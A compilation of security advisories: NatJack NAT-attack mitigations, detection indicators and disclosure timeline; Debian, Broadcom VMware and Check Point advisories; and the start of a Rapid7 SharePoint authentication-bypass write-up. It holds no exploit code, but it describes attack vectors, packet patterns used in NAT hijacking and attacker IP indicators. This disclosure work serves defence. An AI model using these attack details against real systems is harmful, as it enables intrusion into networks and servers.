• Run untrusted kubernetes pods on a different node than trusted pods, in both local and cloud-based deployments.
• Avoid running kubernetes pods as root.
• Drop the enabled-by-default NET_RAW permissions using securityContext.capabilities.drop.

☁️ Cloud

• Avoid placing untrusted and trusted VMs/containers behind the same NAT gateway, internet gateway, or cloud NAT.
• Use dedicated IPs for serverless computing rather than shared IPs, for better network isolation from other tenants.

🖧 Routers and Firewalls

• Enable IP source protection (IP Source Guard or similar) to prevent IP spoofing by client devices.
• Ensure untrusted users and devices are in a separate subnet/VLAN from trusted users and devices.
• Set up L3/L4 Access Control List (ACL) rules to specifically prevent untrusted devices from accessing any trusted hosts.
• Limit the maximum number of TCP/UDP connections per client to a reasonable limit, ideally under 10k or so.
• Disable any nf_conntrack_tcp_loose or flags any connection modes which allow a connection to be added to the NAT table without a valid handshake.
• Disable port preservation and endpoint-independent mapping if possible.
• Enable ISN randomization (modulate state or similar) when the option is available.

📊 Monitoring and Detection

Several common indicators of compromise (IoCs) include:

• NAT table full: A full, or nearly-full, NAT table.
• Port range flood: A flood of TCP or UDP packets from a downstream endpoint with a large range of source ports.
• IP spoofing: It may be possible to detect downstream IP spoofing, in some cases, by detecting the same IP address being used by two different physical addresses, or the same physical address sending packets from multiple IP addresses.
• Sequence of packets: Certain packet sequences from a downstream endpoint, such as SYN, RST or SYN, RST, SYN, sent sequentially with a consistent source and destination port.
• TCP RST flood: A flood of RST packets from an upstream or downstream endpoint where the sequence number is varied.
• Invalid sequence numbers: TCP packets containing sequence numbers far outside their current TCP window.
• Reduced TTL: Packets may be sent with a reduced time-to-live (TTL) to reach only as far as the NAT device before being destroyed. This might be used by an attacker to prevent a standard endpoint response or to try to evade detection.

Additional Resources

NatJack White Paper (Free Download) Coming Soon!

A free white paper with more details about these attacks and potential mitigation strategies will be available for download. Please check back shortly.

NatJack Technical Report Coming Soon!

The NatJack Technical Report is a highly detailed technical document containing in depth attack details, pseudocode, test framework design, and attack modeling. Initial document release will focus mainly on Netfilter, with additional updates providing other vendor case studies. Release date TDB.

NatJack Defensive Toolkit Coming Soon!

The NatJack Defensive Toolkit will enable testing and characterization of network infrastructure in live and lab environments, with automatic report generation to help determine susceptibility to the various NatJack attack variations and provide mitigation recommendations. Release date TDB.

Stay Informed

Sign Up for NatJack Resource Updates

Acknowledgements

I would like to thank Yang et al. for their earlier research on NAT table manipulation attacks, which led to CVE-2023-30305 to CVE-2023-30314.

Thank you to all the vendors and CERT/CC for engaging with this research.

Special thanks to Vicki Stagg and Andrew Stagg for their unconditional support, and to Neil Graves for his help obtaining routers and advice for navigating a complex disclosure.

Shout out to a few of my colleagues for their support:

• Ryan Rutan and Synack, Inc.
• William “Phyr3wall” Wallace
• Mohammed “Moey” Jassim

Can I use the logo?

The NatJack name and logo are open-source visual assets designed to aid public awareness.

Media Kit

• Full logo files (svg): Download
• Square logo files (svg): Download
• Logo font: Orbitron by Matt McInerney

Logo and Media Usage Policy

• Permitted use: Media outlets, academic researchers, and independent security analysts are fully permitted to download, reproduce, and display the official NatJack logo in news articles, presentation slides, blog posts, and educational videos under Fair Use principles.
• Prohibited use: Commercial use including merchandise, paid marketing materials, or embedding the logo into proprietary scanning software is strictly prohibited without prior written authorization.

Disclosure Timeline

• April 30-May 6, 2026: Vulnerability reports disclosed to initial set of vendors and CERT/CC.
• May 4, 2026: Cisco acknowledges receipt of reports.
• May 6, 2026: AWS acknowledges receipt of reports and asks for an update on disclosure dates.
• May 8, 2026: Starlink acknowledges receipt of reports and asks for clarification.
• May 9, 2026: Docker acknowledges receipt of reports.
• May 20, 2026: CERT/CC case accepted (VU#268870).
• May 20, 2026: Greg Kroah-Hartman (Linux stable branch maintainer), on behalf of the Linux Kernel security team, states that the report has been previously rejected as being "totally bogus".
• May 20, 2026: Cross-tenant vulnerability in Azure Functions reported to Microsoft.
• May 21, 2026: Vulnerabilty reports disclosed to Netgear as an additional vendor.
• May 21, 2026: Netgear acknowledges receipt of reports.
• May 26, 2026: Cisco Meraki reports marked as triaged by bug bounty program, blocked on awaiting customer impact.
• May 27, 2026: FreeBSD reports their analysis has determined this is a "resources are finite" report rather than actual vulnerabilities.
• June 1, 2026: Vulnerabilty reports disclosed to OpenWRT as an additional vendor.
• June 5, 2026: Google closes the Android Hotspot TCP hijack issues as "Not a Vulnerability".
• June 7, 2026: OpenWRT reports that any Netfilter fixes would need to be ported back from the Linux kernel.
• June 9-15, 2026: Kubernetes bug bounty program closes the reports as "informative", stating that "the PoC is thorough and the technique is sound" but the Calico and Flannel CNIs are simply outside the scope of their program.
• June 10, 2026: Docker reports that their understanding is that this is a "vulnerability in Netfilter itself, which is used by Docker bridge network driver" and that "mitigating this issue requires a kernel update", as well as asking for disclosure timelines.
• June 11, 2026: Microsoft accepts the AKS reports as moderate severity, stating a fix will be available in Linux kernel v6.6.142.1+. The upstream attack is marked as a duplicate of downstream, but only the downstream attack is (partially) mitigated by the fix.
• June 16, 2026: Black Hat accepts this research for a briefing at Black Hat USA 2026 as Breaking Trust Boundaries: Exploiting Design Assumptions in Network Infrastructure.
• June 19, 2026: Linux Kernel commits a mitigation for the downstream spoofing attack on behalf of Microsoft for Azure AKS. This is not a complete fix but does significantly increase attack complexity.
• June 23, 2026: Microsoft requests additional clarification on the Hyper-V reports.
• June 26, 2026: Google accepts the Android Hotspot UDP DNS hijack issues as moderate severity.
• June 29, 2026: Google response on Android Hotspot issues indicate that their TLS requirements prevent useful TCP hijacking, but DNS could be targeted when "Private DNS" is disabled.
• June 30, 2026: Cisco reports their analysis determines the reports are "design-level NAT limitations rather than security vulnerabilities", and notes several mitigations which can be enabled to prevent many of the attacks (some of which may need to be manually enabled).
• July 1, 2026: Follow-up questions from Microsoft on the Hyper-V reports.
• July 6, 2026: Microsoft closes one of the Azure Firewall reports as "Not a Vulnerability" due to reproduction issues, and states it would be below the servicing threshold if it had reproduced due to adjacent network access and high attack complexity.
• July 6, 2026: Google accepts GKE reports.
• July 9, 2026: AWS states that they will publish an advisory to credit this research and may request patch verification for mitigations.
• July 9, 2026: Call with the Microsoft engineering team to discuss mitigations for the Hyper-V issues.
• July 14, 2026: Microsoft releases a WinNAT patch affecting Hyper-V in a downstream spoofing configuration and publishes CVE-2026-56181 as moderate severity with no payment. Microsoft states the moderate severity rating is because "the attack depends on ephemeral port allocations" (the PoC, however, can target the entire ephemeral port range in a matter of seconds).
• July 14, 2026: Google awards $500 for GKE reports, stating they require a fix in a 3rd party library.
• July 16, 2026: Microsoft states they have fixed the Azure Functions cross-tenant issue, but testing shows it has not yet been patched.
• July 19, 2026: Linux Kernel issues CVE-2026-63913 for their earlier mitigation.
• July 25, 2026: AWS pilots mitigations for early testing in a specific region.
• July 30, 2026: Call with Microsoft engineering teams to discuss Azure NAT Gateway.
• August 4, 2026: Google awards $600 for the Cloud NAT reports (now duplicating the Cloud Run reports as well), stating that the report shows "vulnerabilities with smaller security impact" affecting "Google Cloud products in Tier 1" and they applied a downgrade because it is "difficult to exploit in practice".
• August 4, 2026: AWS provides a draft of their public statement discussing mitigations to NAT Gateway and Network Load Balancer, now pushed to all regions.
• August 6, 2026: Black Hat USA briefing.

Was this helpful?

Docker and the Docker logo are trademarks or registered trademarks of Docker, Inc. in the United States and/or other countries. Docker, Inc. and other parties may also have trademark rights in other terms used herein.

Kubernetes is a registered trademark of The Linux Foundation in the United States and/or other countries, and is used pursuant to a license from The Linux Foundation.

Gear image is in the public domain by ProSmile (needpix.com). Virtualization image is in the public domain by OpenClipArt (freesvg.org) Cloud image is in the public domain by publicdomainvectors.org.

---

Related vulnerabilities: CVE-2023-30311CVE-2023-30309CVE-2023-30307CVE-2023-30305CVE-2023-30308CVE-2026-56181CVE-2026-63913CVE-2023-30310CVE-2023-30314CVE-2023-30306CVE-2023-30312CVE-2023-30313

---

Debian Security Advisory DSA-6423-1 security@debian.org https://www.debian.org/security/ Nilesh Patra August 09, 2026 https://www.debian.org/security/faq

---

Package : kitty CVE ID : CVE-2026-42850 CVE-2026-42851 CVE-2026-54055 CVE-2026-54057 Debian Bug : 1139898

Multiple security issues were discovered in kitty, a GPU based terminal emulator, which may result in the execution of arbitrary code, command injection into the shell running in the terminal, or the overwriting of arbitrary files, if untrusted content is displayed in a terminal window.

For the stable distribution (trixie), these problems have been fixed in version 0.41.1-2+deb13u2.

We recommend that you upgrade your kitty packages.

For the detailed security status of kitty please refer to its security tracker page at: https://security-tracker.debian.org/tracker/kitty

Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEExq6D0hxncEPaPayX+GQ1dHE8m64FAmp4qsMACgkQ+GQ1dHE8 m67U4QgAmKCD2N21YxqxSGQEeLGbKbGUySdk+XKgAvnA7sZqDL2spmSczGP+dJiC ZKTFLTKm3AsnoOOa4C1lQayYfwJTSKkmDaI1lPys2flV5TA+Ay0fkiHvAJsbXwIM u1/UYtx9vlOIlGqtW9fwdfhwrYunukXuz/m76Svt7HuEoSnrebxe7TX8dAZW9Stj gvOKNl4+Z6Bj4PMdFNfPyzhM55RAPQX9ZBN/E2JA8Gfsxx61AN1DgFa/+zyNstrr 06tJfarXTO57vEWws5L7fm9J/1BBMkz6nQgJkNC/SLlaxzKuYycsA6ncx/F8N8Jr vd8Pf9VoGKjltYmnESjKWrPjCnum5Q== =mScO -----END PGP SIGNATURE-----

---

Related vulnerabilities: CVE-2026-42850CVE-2026-42851CVE-2026-54055CVE-2026-54057

Support Content Notification - Support Portal - Broadcom support portal

VMSA-2026-0006: VMware ESX, vCenter, Workstation, and Fusion updates address multiple vulnerabilities (CVE-2026-59309, CVE-2026-59310, CVE-2026-47876, CVE-2026-41703, CVE-2026-41709)

Initial Publication Date

29 July 2026

Affected CVE

CVE-2026-59309, CVE-2026-59310, CVE-2026-47876, CVE-2026-41703, CVE-2026-41709

• Advisory ID: : Advisory Severity:
• VMSA-2026-0006: Critical
• Advisory ID: : CVSSv3 Range:
• VMSA-2026-0006: 2.7-9.8
• Advisory ID: : Synopsis:
• VMSA-2026-0006: VMware ESX, vCenter, Workstation, and Fusion updates address multiple vulnerabilities (CVE-2026-59309, CVE-2026-59310, CVE-2026-47876, CVE-2026-41703, CVE-2026-41709)
• Advisory ID: : Issue date:
• VMSA-2026-0006: 2026-07-29
• Advisory ID: : Updated on:
• VMSA-2026-0006: 2026-07-29 (Initial Advisory)
• Advisory ID: : CVE(s)
• VMSA-2026-0006: CVE-2026-59309, CVE-2026-59310, CVE-2026-47876, CVE-2026-41703, CVE-2026-41709

1. Impacted Products

• VMware ESX
• VMware vCenter
• VMware Workstation
• VMware Fusion
• VMware Cloud Foundation
• VMware vSphere Foundation
• VMware Telco Cloud Platform
• VMware Telco Cloud Infrastructure 

2. Introduction

Multiple vulnerabilities in VMware ESX, vCenter, Workstation, and Fusion were privately reported to Broadcom. Updates are available to remediate these vulnerabilities in affected Broadcom products. 

3a. vCenter authentication-bypass vulnerability (CVE-2026-59309)

Description: VMware vCenter contains an authentication bypass vulnerability in the VMware Directory Service. Broadcom has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.

Known Attack Vectors:
A malicious actor with network access to vCenter may exploit this issue to bypass authentication and gain unauthorized access to the system.

Resolution: To remediate CVE-2026-59309 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:
None

Additional Documentation:
A supplemental FAQ was created for clarification. Please see: https://brcm.tech/vmsa-2026-0006

Acknowledgments: Broadcom would like to thank Phil Brass and Matt South of Atredis Partners for reporting this issue to us.

Notes:
[1] Please note that patches are cumulative, meaning the current version includes all previously released fixes. While CVE-2026-59309 was addressed in 9.1.0.0200 first, version 9.1.0.0300 is the most recent version currently available which includes the fix for this CVE.

3b. vCenter directory-traversal vulnerability (CVE-2026-59310)

Description: VMware vCenter contains a directory traversal vulnerability in the Syslog server. Broadcom has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.

Known Attack Vectors:
A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code.

Resolution: To remediate CVE-2026-59310 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:
None

Additional Documentation:
A supplemental FAQ was created for clarification. Please see: https://brcm.tech/vmsa-2026-0006

Acknowledgments: Broadcom would like to thank Phil Brass and Matt South of Atredis Partners for reporting this issue to us.

Notes:
None.

Response Matrix 3a and 3b: 

• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: vCenter
• Version: 9.1.x.x
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: [1] 9.1.0.0300
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: vCenter
• Version: 9.0.x.x
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: 9.0.2.0100
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware vCenter
• Component: N/A
• Version: 8.0
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: 8.0 U3k
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware Cloud Foundation 
• Component: vCenter
• Version: 5.x
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: Async patch to 8.0 U3k
• Workarounds: None
• Additional Documentation: Async Patching Guide: KB88287
• VMware Product: VMware Telco Cloud Platform
• Component: vCenter
• Version: 3.0, 4.x, 5.0.x, 5.1.x
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: KB449886
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Telco Cloud Infrastructure
• Component: vCenter
• Version: 3.0
• Running On: Any
• CVE: CVE-2026-59309, CVE-2026-59310
• CVSSv3: 9.8
• Severity: Critical
• Fixed Version: KB449886
• Workarounds: None
• Additional Documentation: None

[1] Please note that patches are cumulative, meaning the current version includes all previously released fixes. While CVE-2026-59309 was addressed in 9.1.0.0200 first, version 9.1.0.0300 is the most recent version currently available which includes the fix for this CVE.

3c. VMXNET3 out-of-bounds write vulnerability (CVE-2026-47876)

Description: VMware ESX contains an out-of-bounds write vulnerability in the VMXNET3 virtual network adapter. Broadcom has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.3.

Known Attack Vectors:
A malicious actor with local administrative privileges on a virtual machine with VMXNET3 virtual network adapter may exploit this issue to execute code on the host. Non VMXNET3 virtual adapters are not affected by this issue.

Resolution: To remediate CVE-2026-47876 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:
None

Additional Documentation:
A supplemental FAQ was created for clarification. Please see: https://brcm.tech/vmsa-2026-0006

Acknowledgments: Broadcom would like to thank Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG working with the Pwn2Own held by Zero day initiative for reporting this issue to us.

Notes:
None.

Response Matrix: 

• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.1.x.x
• Running On: Any
• CVE: CVE-2026-47876
• CVSSv3: 9.3
• Severity: Critical
• Fixed Version: ESXi-9.1.0.0200-25557999
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.0.x.x
• Running On: Any
• CVE: CVE-2026-47876
• CVSSv3: 9.3
• Severity: Critical
• Fixed Version: ESXi-9.0.2.0100-25595025
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware ESX
• Component: N/A
• Version: 8.0
• Running On: Any
• CVE: CVE-2026-47876
• CVSSv3: 9.3
• Severity: Critical
• Fixed Version: ESXi80U3k-25595708
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware Cloud Foundation 
• Component: ESX
• Version: 5.x
• Running On: Any
• CVE: CVE-2026-47876
• CVSSv3: 9.3
• Severity: Critical
• Fixed Version: Async Patching Guide: KB88287
• Workarounds: None
• Additional Documentation: FAQ
• VMware Product: VMware Telco Cloud Platform
• Component: ESX
• Version: 5.0.x, 5.1.x
• Running On: Any
• CVE: CVE-2026-47876
• CVSSv3: 9.3
• Severity: Critical
• Fixed Version: KB449886
• Workarounds: None
• Additional Documentation: None

3d. Out-of-bounds read vulnerability (CVE-2026-41703)

Description: VMware ESX, contain an out-of-bounds read vulnerability. Broadcom has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.6.

Known Attack Vectors: A malicious actor with VM deployment privileges could trigger an out-of-bounds read, potentially leading to information disclosure or more likely a Denial-of-Service (DoS) condition of the host process. On Workstation and Fusion, the impact of this vulnerability is restricted to information disclosure.

Resolution: To remediate CVE-2026-41703 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:
None

Additional Documentation:
None.

Acknowledgments: Broadcom would like to thank Maxim Suhanov (@errno_fail) for reporting this issue to us.

Notes:
None.

Response Matrix: 

• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.1.x.x
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 7.6
• Severity: Important
• Fixed Version: ESXi-9.1.0.0-25370933
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.0.x.x
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 7.6
• Severity: Important
• Fixed Version: ESXi-9.0.2.0100-25595025
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware ESX
• Component: N/A
• Version: 8.0
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 7.6
• Severity: Important
• Fixed Version: ESXi80U3i-25205845
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Workstation
• Component: N/A
• Version: 25H2 
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: 26H1
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Fusion
• Component: N/A
• Version: 25H2
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: 26H1
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Cloud Foundation 
• Component: ESX
• Version: 5.x
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 7.6
• Severity: Important
• Fixed Version: 5.2.3
• Workarounds: None
• Additional Documentation: Async Patching Guide: KB88287
• VMware Product: VMware Telco Cloud Platform
• Component: ESX
• Version: 5.0.x, 5.1.x
• Running On: Any
• CVE: CVE-2026-41703
• CVSSv3: 7.6
• Severity: Important
• Fixed Version: KB449886
• Workarounds: None
• Additional Documentation: None

3e. ESX insufficient logging vulnerability (CVE-2026-41709)

Description: VMware ESX contains an insufficient logging vulnerability. Broadcom has evaluated the severity of this issue to be in the Low severity range with a maximum CVSSv3 base score of 2.7.

Known Attack Vectors:
A malicious administrator could exploit this issue to perform certain operations without them being logged.

Resolution: To remediate CVE-2026-41709 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.

Workarounds:
None.

Additional Documentation:
None.

Acknowledgments: Broadcom would like to thank Ian Barton of CrowdStrike for reporting this issue to us.

Notes:
None.

Response Matrix: 

• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.1.x.x
• Running On: Any
• CVE: CVE-2026-41709
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: ESXi-9.1.0.0-25370933
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Cloud Foundation,VMware vSphere Foundation
• Component: ESX
• Version: 9.0.x.x
• Running On: Any
• CVE: CVE-2026-41709
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: ESXi-9.0.2.0100-25595025
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware ESX
• Component: N/A
• Version: 8.0
• Running On: Any
• CVE: CVE-2026-41709
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: ESXi80U3j-25429389
• Workarounds: None
• Additional Documentation: None
• VMware Product: VMware Cloud Foundation 
• Component: ESX
• Version: 5.x
• Running On: Any
• CVE: CVE-2026-41709
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: 5.2.4
• Workarounds: None
• Additional Documentation: Async Patching Guide: KB88287
• VMware Product: VMware Telco Cloud Platform
• Component: ESX
• Version: 5.0.x, 5.1.x
• Running On: Any
• CVE: CVE-2026-41709
• CVSSv3: 2.7
• Severity: Low
• Fixed Version: KB449886
• Workarounds: None
• Additional Documentation: None

4. References

VMware Cloud Foundation 9.1.0.x
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?subFamily=VMware%20Cloud%20Foundation&displayGroup=VMware%20Cloud%20Foundation%209&release=9.1.0.0&os=&servicePk=540528&language=EN
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-1/release-notes/patch-releases-9-1-0-x.html

VMware Cloud Foundation 9.0.x
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?subFamily=VMware%20Cloud%20Foundation&displayGroup=VMware%20Cloud%20Foundation%209&release=9.0.2.0&os=&servicePk=537791&language=EN
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x.html

VMware Cloud Foundation 5.2.4
Downloads and Documentation:
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-5-2-and-earlier/5-2/vcf-release-notes/vmware-cloud-foundation-524-release-notes.html

VMware Cloud Foundation 5.2.3
Downloads and Documentation:
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-5-2-and-earlier/5-2/vcf-release-notes/vmware-cloud-foundation-523-release-notes.html

VMware vCenter 9.1.0.0300
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?displayGroup=VMware%20Cloud%20Foundation%209&release=9.1.0.0&os=&servicePk=540528&language=EN&groupId=540509&viewGroup=true
https://techdocs.broadcom.com/bin/gethidpage?ux-context-string=vcenter-9-1-0-3&appid=vcf-9-1&language=en&format=rendered

VMware vCenter 9.0.2.0100
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?displayGroup=VMware%20Cloud%20Foundation%209&release=9.0.2.0&os=&servicePk=537791&language=EN&groupId=537830&viewGroup=true
https://techdocs.broadcom.com/bin/gethidpage?ux-context-string=9-0-2-0-1&appid=vcf-9-0&language=en&format=rendered

VMware ESX 9.1.0.0200
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?displayGroup=VMware%20Cloud%20Foundation%209&release=9.1.0.0&os=&servicePk=540528&language=EN&groupId=540591&viewGroup=true
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-1/release-notes/patch-releases-9-1-0-x/vsphere/esx/esx-9-1-0-0200-release-notes.html

VMware ESX 9.0.2.0100
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?displayGroup=VMware%20Cloud%20Foundation%209&release=9.0.2.0&os=&servicePk=537791&language=EN&groupId=537810&viewGroup=true
https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/esx/esx-9-0-2-0100-release-notes.html

VMware vCenter 8.0 U3k
Downloads and Documentation:
https://support.broadcom.com/web/ecx/solutiondetails?patchId=16109
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/8-0/release-notes/vcenter-server-update-and-patch-release-notes/vsphere-vcenter-server-80u3k-release-notes.html

VMware ESX 8.0 U3k
Downloads and Documentation:
https://support.broadcom.com/web/ecx/solutiondetails?patchId=16106
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/8-0/release-notes/esxi-update-and-patch-release-notes/vsphere-esxi-80u3k-release-notes.html

VMware ESX 8.0 U3j
Downloads and Documentation:
https://support.broadcom.com/web/ecx/solutiondetails?patchId=16046
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/8-0/release-notes/esxi-update-and-patch-release-notes/vsphere-esxi-80u3j-release-notes.html

VMware ESX 8.0 U3i
Downloads and Documentation:
https://support.broadcom.com/web/ecx/solutiondetails?patchId=16046
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/8-0/release-notes/esxi-update-and-patch-release-notes/vsphere-esxi-80u3i-release-notes.html

VMware Workstation 26H1
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Workstation%20Pro&freeDownloads=true
https://techdocs.broadcom.com/us/en/vmware-cis/desktop-hypervisors/workstation-pro/26H1.html

VMware Fusion 26H1
Downloads and Documentation:
https://support.broadcom.com/group/ecx/productfiles?subFamily=VMware%20Fusion&displayGroup=VMware%20Fusion%2026H1&release=26H1&os=&servicePk=543219&language=EN&freeDownloads=true
https://techdocs.broadcom.com/us/en/vmware-cis/desktop-hypervisors/fusion-pro/26H1.html

Mitre CVE Dictionary Links:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59309
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59310
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47876
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41703
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41709

FIRST CVSSv3 Calculator:
CVE-2026-59309: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-59310: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-47876: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE-2026-41703: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L
CVE-2026-41709: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

5. Change Log:

---

2026-07-29 VMSA-2026-0006
Initial security advisory.

Copyright 2026 Broadcom. All rights reserved.

---

Related vulnerabilities: CVE-2026-41703CVE-2026-41709CVE-2026-47876CVE-2026-59310CVE-2026-59309

Security Advisory - Action Required - July 2026 Security Update - Check Point Blog

As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products.

This update includes a number of security hardening improvements and fixes, the most significant of which are outlined below.

During a routine BLAST review, we discovered a few vulnerabilities. Following a thorough analysis, we identified one of those in the wild, affecting a handful of customers. This only affects a very specific configuration — when Management is exposed directly to the internet without IP restrictions. All affected customers have been notified. All Smart-1 Cloud customers are already protected.

This is exactly why programs like BLAST exist: to find and close gaps before they become real risks. We’ll keep pushing the technological frontier, so organizations stay protected against what’s coming next. It’s proof of our ongoing commitment to the highest level of product security, and to keeping our customers protected.

We encourage all customers to install the jumbo hotfix and follow our published security best practices.

• CVE: CVE-2026-16232
• Description: Authentication bypass with SmartConsole login using application token – Management
• CVSS: 9.3
• Affected Products: Security Management, Multi-Domain Management
• Affected Versions: R81.10, R81.20, R82, R82.10 (older versions impacted as well)
• In the Wild: Yes, for a handful of customers with specific configurations.
• SK: sk185169
• CVE: CVE-2026-62144
• Description: Management authentication bypass and privilege escalation
• CVSS: 9.3
• Affected Products: Security Management, Multi-Domain Management
• Affected Versions: R81.10, R81.20, R82, R82.10 (older versions impacted as well)
• In the Wild: No
• SK: sk185152
• CVE: CVE-2026-62145
• Description: Local privilege escalation in GaiaOS WebUI – Gateway
• CVSS: 7.5
• Affected Products: Firewall, Multi-Domain Management, Multi-Domain Log Server
• Affected Versions: R81.10, R81.20, R82, R82.10 (older versions impacted as well)
• In the Wild: No
• SK: sk185153

Additional information can be found in the respective Secure Knowledge updates as linked below.

IoCs

IP addresses observed:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137

Mitigation

Apply the following steps to mitigate the Management vulnerabilities:

1. Limit Trusted Clients (GUI clients) to trusted IP addresses/subnets.
2. Protect Management access with Firewall, restrict access to trusted IP addresses, and verify that implied rules for control connections are enabled.

Solution

Install the latest Jumbo hotfix released today (July 22, 2026).

Need support?

If you need help assessing your exposure, applying a mitigation, or installing the hotfix, please contact Check Point Support at:
checkpoint.com/support-services/contact-support/

---

Related vulnerabilities: CVE-2026-16232CVE-2026-62144CVE-2026-62145

CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED)

Ref: https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the first vulnerability in this chain, the authentication bypass vulnerability CVE-2026-55040. The RCE component of the exploit chain is expected to be patched by Microsoft in the next update cycle for August 2026. The exploit chain was developed as an entry for the recent Pwn2Own Berlin hacking competition – part of Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

